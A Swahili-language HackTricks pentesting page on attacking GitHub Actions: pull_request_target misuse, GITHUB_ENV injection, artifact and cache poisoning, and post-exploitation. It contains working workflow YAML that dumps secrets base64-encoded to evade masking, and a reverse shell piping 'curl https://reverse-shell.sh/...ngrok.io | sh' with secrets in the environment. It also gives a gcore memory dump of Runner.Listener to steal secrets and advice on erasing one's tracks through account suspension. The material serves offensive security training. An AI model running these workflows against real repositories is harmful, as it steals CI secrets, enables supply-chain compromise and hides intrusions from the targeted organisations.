hacktricks-cloud/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

Abusing Github Actions

{{#include ../../../banners/hacktricks-training.md}}

Basic Information

Katika ukurasa huu utaona:

• Muhtasari wa athari zote za mshambuliaji kufanikiwa kupata ufikiaji wa Github Action
• Njia tofauti za kupata ufikiaji wa hatua:
• Kuwa na idhini za kuunda hatua hiyo
• Kutumia vichocheo vinavyohusiana na ombi la kuvuta
• Kutumia mbinu nyingine za ufikiaji wa nje
• Pivoting kutoka kwenye repo iliyoshambuliwa tayari
• Hatimaye, sehemu kuhusu mbinu za baada ya unyakuzi kutumia hatua kutoka ndani (kwa sababu ya athari zilizotajwa)

Impacts Summary

Kwa utangulizi kuhusu Github Actions angalia taarifa za msingi.

Ikiwa unaweza kutekeleza msimbo wowote katika GitHub Actions ndani ya repo, unaweza kuwa na uwezo wa:

• Kuhujumu siri zilizowekwa kwenye pipeline na kutumia mamlaka ya pipeline kupata ufikiaji usioidhinishwa kwenye majukwaa ya nje, kama AWS na GCP.
• Kuhujumu matumizi na vitu vingine.
• Ikiwa pipeline inapeleka au kuhifadhi mali, unaweza kubadilisha bidhaa ya mwisho, kuwezesha shambulio la mnyororo wa usambazaji.
• Kutekeleza msimbo katika wafanyakazi maalum ili kutumia nguvu za kompyuta na pivot kwa mifumo mingine.
• Kufuta msimbo wa repo, kulingana na ruhusa zinazohusiana na GITHUB_TOKEN.

GITHUB_TOKEN

Hii "siri" (inayotoka ${{ secrets.GITHUB_TOKEN }} na ${{ github.token }}) inatolewa wakati msimamizi anapowezesha chaguo hili:

Token hii ni sawa na ile ambayo Github Application itatumia, hivyo inaweza kufikia mwisho sawa: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Warning

Github inapaswa kutoa mchakato ambao unaruhusu ufikiaji wa kuvuka-repo ndani ya GitHub, ili repo iweze kufikia repo nyingine za ndani kwa kutumia GITHUB_TOKEN.

Unaweza kuona idhini zinazowezekana za token hii katika: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Kumbuka kwamba token inaisha muda baada ya kazi kukamilika.
Token hizi zinaonekana kama hii: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Mambo kadhaa ya kuvutia unayoweza kufanya na token hii:

{{#tabs }} {{#tab name="Merge PR" }}

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"

{{#endtab }} {{#tab name="Approve PR" }}

# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'

{{#endtab }} {{#tab name="Create PR" }}

# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'

{{#endtab }} {{#endtabs }}

Caution

Kumbuka kwamba katika matukio kadhaa utaweza kupata tokens za mtumiaji wa github ndani ya mazingira ya Github Actions au katika siri. Tokens hizi zinaweza kukupa mamlaka zaidi juu ya hifadhi na shirika.

Orodha ya siri katika matokeo ya Github Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Pata shell ya kurudi na siri

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Inawezekana kuangalia ruhusa zilizotolewa kwa Github Token katika hifadhi za watumiaji wengine kwa kuangalia kumbukumbu za vitendo:

Utekelezaji Ulioidhinishwa

Note

Hii ingekuwa njia rahisi zaidi ya kuathiri vitendo vya Github, kwani kesi hii inadhani kuwa una ufikiaji wa kuunda hifadhi mpya katika shirika, au una haki za kuandika juu ya hifadhi.

Ikiwa uko katika hali hii unaweza tu kuangalia Post Exploitation techniques.

Utekelezaji kutoka kwa Uundaji wa Hifadhi

Katika kesi ambapo wanachama wa shirika wanaweza kuunda hifadhi mpya na unaweza kutekeleza vitendo vya github, unaweza kuunda hifadhi mpya na kuiba siri zilizowekwa katika kiwango cha shirika.

Utekelezaji kutoka kwa Tawi Jipya

Ikiwa unaweza kuunda tawi jipya katika hifadhi ambayo tayari ina Github Action iliyowekwa, unaweza kubadilisha hiyo, kupakia maudhui, na kisha kutekeleza kitendo hicho kutoka kwa tawi jipya. Kwa njia hii unaweza kuondoa siri za hifadhi na kiwango cha shirika (lakini unahitaji kujua zinaitwaje).

Unaweza kufanya kitendo kilichobadilishwa kiwe cha kutekelezeka kwa mikono, wakati PR inaundwa au wakati kodi fulani inasukumwa (kulingana na jinsi unavyotaka kuwa na kelele):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches

---

Utekelezaji wa Forked

Note

Kuna vichocheo tofauti ambavyo vinaweza kumruhusu mshambuliaji kutekeleza Github Action ya hifadhi nyingine. Ikiwa vitendo hivyo vinavyoweza kuchochewa havijakamilishwa vizuri, mshambuliaji anaweza kuwa na uwezo wa kuvunja usalama wao.

pull_request

Vichocheo vya workflow pull_request vitatekeleza workflow kila wakati ombi la kuvuta linapopokelewa na baadhi ya visingizio: kwa kawaida ikiwa ni mara ya kwanza unapo shirikiana, baadhi ya wasimamizi watahitaji kuthibitisha kuendesha workflow:

Note

Kwa kuwa kikomo cha kawaida ni kwa watoaji wa mara ya kwanza, unaweza kuchangia kurekebisha hitilafu halali/typo na kisha kutuma PR nyingine ili kutumia haki zako mpya za pull_request.

Nimejaribu hii na haifanyi kazi: Chaguo lingine lingekuwa kuunda akaunti kwa jina la mtu ambaye alichangia kwenye mradi na kufuta akaunti yake.

Zaidi ya hayo, kwa kawaida inazuia ruhusa za kuandika na ufikiaji wa siri kwa hifadhi lengwa kama ilivyoelezwa katika docs:

Kwa kutengwa kwa GITHUB_TOKEN, siri hazipitishwi kwa mchezaji wakati workflow inachochewa kutoka hifadhi forked. GITHUB_TOKEN ina ruhusa za kusoma tu katika maombi ya kuvuta kutoka hifadhi za forked.

Mshambuliaji anaweza kubadilisha ufafanuzi wa Github Action ili kutekeleza mambo yasiyo na mipaka na kuongeza vitendo vya kiholela. Hata hivyo, hataweza kuiba siri au kufuta repo kwa sababu ya vikwazo vilivyotajwa.

Caution

Ndio, ikiwa mshambuliaji atabadilisha katika PR github action itakayochochewa, Github Action yake itakuwa ndiyo itakayotumika na si ile kutoka hifadhi ya asili!

Kwa kuwa mshambuliaji pia anadhibiti msimbo unaotekelezwa, hata kama hakuna siri au ruhusa za kuandika kwenye GITHUB_TOKEN, mshambuliaji anaweza kwa mfano kupakia vitu vya uharibifu.

pull_request_target

Vichocheo vya workflow pull_request_target vina ruhusa za kuandika kwa hifadhi lengwa na ufikiaji wa siri (na havihitaji ruhusa).

Kumbuka kwamba vichocheo vya workflow pull_request_target vinakimbia katika muktadha wa msingi na si katika ule unaotolewa na PR (ili kutoendesha msimbo usioaminika). Kwa maelezo zaidi kuhusu pull_request_target angalia docs.
Zaidi ya hayo, kwa maelezo zaidi kuhusu matumizi haya hatari maalum angalia blogu ya github.

Inaweza kuonekana kuwa kwa sababu workflow inayotekelezwa ni ile iliyoainishwa katika msingi na siyo katika PR ni salama kutumia pull_request_target, lakini kuna mambo machache ambapo si salama.

Na hii itakuwa na ufikiaji wa siri.

workflow_run

Vichocheo vya workflow_run vinaruhusu kuendesha workflow kutoka nyingine wakati imekamilika, imeombwa au inaendelea.

Katika mfano huu, workflow imepangwa kuendesha baada ya workflow tofauti "Run Tests" kukamilika:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Zaidi ya hayo, kulingana na nyaraka: Mchakato ulioanzishwa na tukio la workflow_run unaweza kupata siri na kuandika tokeni, hata kama mchakato wa awali haukuwa.

Aina hii ya mchakato inaweza kushambuliwa ikiwa inategemea mchakato ambao unaweza kuanzishwa na mtumiaji wa nje kupitia pull_request au pull_request_target. Mifano kadhaa za hatari zinaweza kupatikana kwenye blogu hii. Ya kwanza inahusisha workflow_run iliyoanzishwa ikipakua msimbo wa washambuliaji: ${{ github.event.pull_request.head.sha }}
Ya pili inahusisha kupitisha artifact kutoka kwa msimbo usioaminika hadi kwenye mchakato wa workflow_run na kutumia maudhui ya artifact hii kwa njia inayofanya iwe hatari kwa RCE.

workflow_call

TODO

TODO: Angalia ikiwa wakati inatekelezwa kutoka kwa pull_request msimbo ulio tumika/pakuliwa ni ule kutoka kwa asili au kutoka kwa PR iliyofanywa.

Kutumia Utekelezaji wa Forked

Tumetaja njia zote ambazo mshambuliaji wa nje anaweza kuweza kufanya mchakato wa github kutekelezwa, sasa hebu tuangalie jinsi utekelezaji huu, ikiwa umewekwa vibaya, unaweza kutumiwa vibaya:

Utekelezaji wa untrusted checkout

Katika kesi ya pull_request, mchakato utaanzishwa katika muktadha wa PR (hivyo utaanzisha msimbo wa PR mbaya), lakini mtu anahitaji kuidhinisha kwanza na utaendesha kwa baadhi ya mipaka.

Katika kesi ya mchakato unaotumia pull_request_target au workflow_run inayotegemea mchakato ambao unaweza kuanzishwa kutoka pull_request_target au pull_request msimbo kutoka kwa repo ya asili utaanzishwa, hivyo mshambuliaji hawezi kudhibiti msimbo unaotekelezwa.

Caution

Hata hivyo, ikiwa action ina ukaguzi wa PR wazi ambao uta pata msimbo kutoka kwa PR (na sio kutoka msingi), itatumia msimbo ulio chini ya udhibiti wa mshambuliaji. Kwa mfano (angalia mstari wa 12 ambapo msimbo wa PR unapakuliwa):

# INSECURE. Imepewa kama mfano tu.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

Msimbo unaoweza kuwa usioaminika unatekelezwa wakati wa npm install au npm build kwani skripti za kujenga na pakiti zinazohusishwa zinadhibitiwa na mwandishi wa PR.

Warning

Dork ya github kutafuta vitendo vyenye hatari ni: event.pull_request pull_request_target extension:yml hata hivyo, kuna njia tofauti za kuweka kazi zinazoweza kutekelezwa kwa usalama hata kama action imewekwa kwa njia isiyo salama (kama kutumia masharti kuhusu nani ni mchezaji anayezalisha PR).

Makinikia ya Muktadha wa Script

Kumbuka kuwa kuna baadhi ya muktadha ya github ambao thamani zao zina dhibitiwa na mtumiaji anayezalisha PR. Ikiwa action ya github inatumia hiyo data kutekeleza chochote, inaweza kusababisha utekelezaji wa msimbo wa kiholela:

{{#ref}} gh-actions-context-script-injections.md {{#endref}}

GITHUB_ENV Script Injection

Kutoka kwenye nyaraka: Unaweza kufanya kigezo cha mazingira kiweze kupatikana kwa hatua zozote zinazofuata katika kazi ya mchakato kwa kufafanua au kuboresha kigezo cha mazingira na kuandika hii kwenye faili ya mazingira ya GITHUB_ENV.

Ikiwa mshambuliaji anaweza kuchanganya thamani yoyote ndani ya hii env kigezo, anaweza kuchanganya vigezo vya env ambavyo vinaweza kutekeleza msimbo katika hatua zinazofuata kama LD_PRELOAD au NODE_OPTIONS.

Kwa mfano (hii na hii), fikiria mchakato ambao unategemea artifact iliyopakiwa kuhifadhi maudhui yake ndani ya GITHUB_ENV kigezo. Mshambuliaji anaweza kupakia kitu kama hiki ili kukiharibu:

Vitendo vya Github vya Tatu vya Hatari

dawidd6/action-download-artifact

Kama ilivyotajwa katika hiki kipande cha blogu, hii Github Action inaruhusu kufikia artifacts kutoka kwa michakato tofauti na hata hifadhi.

Tatizo kubwa ni kwamba ikiwa path parameter haijawekwa, artifact inachukuliwa katika saraka ya sasa na inaweza kubadilisha faili ambazo zinaweza kutumika baadaye au hata kutekelezwa katika mchakato. Kwa hivyo, ikiwa Artifact ina hatari, mshambuliaji anaweza kutumia hii kuathiri michakato mingine inayotegemea Artifact.

Mfano wa mchakato wa hatari:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Hii inaweza kushambuliwa kwa kutumia mchakato huu:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

---

Mipango Mingine ya Nje

Utekwaji wa Repo ya Namespace Iliyofutwa

Ikiwa akaunti inabadilisha jina lake, mtumiaji mwingine anaweza kujiandikisha na akaunti yenye jina hilo baada ya muda fulani. Ikiwa hazina ilikuwa na nyota chini ya 100 kabla ya kubadilisha jina, Github itaruhusu mtumiaji mpya aliyejiandikisha kwa jina hilo kuunda hazina yenye jina sawa na ile iliyofutwa.

Caution

Hivyo basi ikiwa hatua inatumia hazina kutoka kwa akaunti isiyokuwepo, bado inawezekana kwamba mshambuliaji anaweza kuunda akaunti hiyo na kuathiri hatua hiyo.

Ikiwa hazina nyingine zilikuwa zikitumika kutegemea kutoka kwa hazina za mtumiaji huyu, mshambuliaji ataweza kuziiba. Hapa kuna maelezo kamili zaidi: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/

---

Mabadiliko ya Repo

Note

Katika sehemu hii tutazungumzia mbinu ambazo zitaruhusu kuhamasisha kutoka repo moja hadi nyingine tukidhani tuna aina fulani ya ufikiaji kwenye ya kwanza (angalia sehemu iliyopita).

Upoison wa Cache

Cache inashikiliwa kati ya mizunguko ya workflow katika tawi moja. Hii ina maana kwamba ikiwa mshambuliaji ataathiri pakiti ambayo kisha inahifadhiwa kwenye cache na kupakuliwa na kutekelezwa na workflow yenye mamlaka zaidi, ataweza pia kuathiri workflow hiyo.

{{#ref}} gh-actions-cache-poisoning.md {{#endref}}

Upoison wa Kazi

Workflows zinaweza kutumia kazi kutoka kwa workflows nyingine na hata hazina, ikiwa mshambuliaji anafanikiwa kuathiri Github Action inay pakia kazi ambayo baadaye inatumika na workflow nyingine, anaweza kuathiri workflows nyingine:

{{#ref}} gh-actions-artifact-poisoning.md {{#endref}}

---

Baada ya Utekelezaji kutoka kwa Hatua

Kufikia AWS na GCP kupitia OIDC

Angalia kurasa zifuatazo:

{{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}}

{{#ref}} ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}}

Kufikia siri

Ikiwa unachoma maudhui kwenye script, ni muhimu kujua jinsi ya kufikia siri:

• Ikiwa siri au token imewekwa kwenye kigezo cha mazingira, inaweza kufikiwa moja kwa moja kupitia mazingira kwa kutumia printenv.

Orodha ya siri katika matokeo ya Github Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Pata shell ya kurudi na siri</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

• Ikiwa siri inatumika moja kwa moja katika muktadha, skripti ya shell iliyotengenezwa inahifadhiwa kwenye diski na inapatikana.

cat /home/runner/work/_temp/*

- Kwa hatua za JavaScript, siri zinatumwa kupitia mabadiliko ya mazingira
- ```bash
ps axe | grep node

• Kwa hatua maalum, hatari inaweza kutofautiana kulingana na jinsi programu inavyotumia siri iliyoipata kutoka kwa hoja:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Kutumia Runners za Kujihudumia

Njia ya kutafuta ni zipi Github Actions zinazotekelezwa katika miundombinu isiyo ya github ni kutafuta runs-on: self-hosted katika usanidi wa yaml wa Github Action.

Runners za kujihudumia zinaweza kuwa na ufikiaji wa habari nyeti zaidi, kwa mifumo mingine ya mtandao (nukta dhaifu katika mtandao? huduma ya metadata?) au, hata kama imejitengea na kuharibiwa, hatua zaidi ya moja zinaweza kufanywa kwa wakati mmoja na ile mbaya inaweza kuiba siri za nyingine.

Katika runners za kujihudumia pia inawezekana kupata siri kutoka kwa _Runner.Listener_** mchakato** ambao utakuwa na siri zote za kazi katika hatua yoyote kwa kutupa kumbukumbu yake:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Angalia post hii kwa maelezo zaidi.

Github Docker Images Registry

Inawezekana kuunda Github actions ambazo zitajenga na kuhifadhi picha ya Docker ndani ya Github.
Mfano unaweza kupatikana katika yafuatayo yanayoweza kupanuliwa:

Github Action Build & Push Docker Image

```yaml [...]

• name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

• name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

• name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

• name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

Kama unavyoona katika msimbo wa awali, usajili wa Github unahifadhiwa katika **`ghcr.io`**.

Mtumiaji mwenye ruhusa za kusoma juu ya repo ataweza kupakua Picha ya Docker kwa kutumia tokeni ya ufikiaji wa kibinafsi:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Kisha, mtumiaji anaweza kutafuta siri zilizovuja katika tabaka za picha za Docker:

{{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics {{#endref}}

Taarifa nyeti katika kumbukumbu za Github Actions

Hata kama Github inajaribu kubaini thamani za siri katika kumbukumbu za hatua na kuepuka kuonyesha hizo, data nyeti nyingine ambazo zinaweza kuwa zimeundwa katika utekelezaji wa hatua hiyo hazitafichwa. Kwa mfano, JWT iliyosainiwa kwa thamani ya siri haitafichwa isipokuwa imewekwa maalum.

Kufunika Nyayo Zako

(Teknolojia kutoka hapa) Kwanza kabisa, PR yoyote iliyoinuliwa inaonekana wazi kwa umma katika Github na kwa akaunti ya lengo ya GitHub. Katika GitHub kwa kawaida, hatuwezi kufuta PR ya mtandao, lakini kuna mabadiliko. Kwa akaunti za Github ambazo zime simamishwa na Github, PR zao zote zinafuta moja kwa moja na kuondolewa kutoka mtandao. Hivyo ili kuficha shughuli zako unahitaji ama kupata akaunti yako ya GitHub isimamishwe au kupata akaunti yako iwe na alama. Hii itaficha shughuli zako zote kwenye GitHub kutoka mtandao (kimsingi kuondoa PR zako zote za unyanyasaji)

Shirika katika GitHub lina ufanisi mkubwa katika kuripoti akaunti kwa GitHub. Unachohitaji kufanya ni kushiriki "mambo fulani" katika Issue na watakikisha akaunti yako imesimamishwa ndani ya masaa 12 :p na hapo umepata, umefanya unyanyasaji wako usionekane kwenye github.

Warning

Njia pekee kwa shirika kugundua kuwa wamekuwa wakilengwa ni kuangalia kumbukumbu za GitHub kutoka SIEM kwani kutoka kwa UI ya GitHub PR itakuwa imeondolewa.

Zana

Zana zifuatazo ni muhimu kutafuta michakato ya Github Action na hata kupata zile zenye udhaifu:

• https://github.com/CycodeLabs/raven
• https://github.com/praetorian-inc/gato
• https://github.com/AdnaneKhan/Gato-X
• https://github.com/carlospolop/PurplePanda

{{#include ../../../banners/hacktricks-training.md}}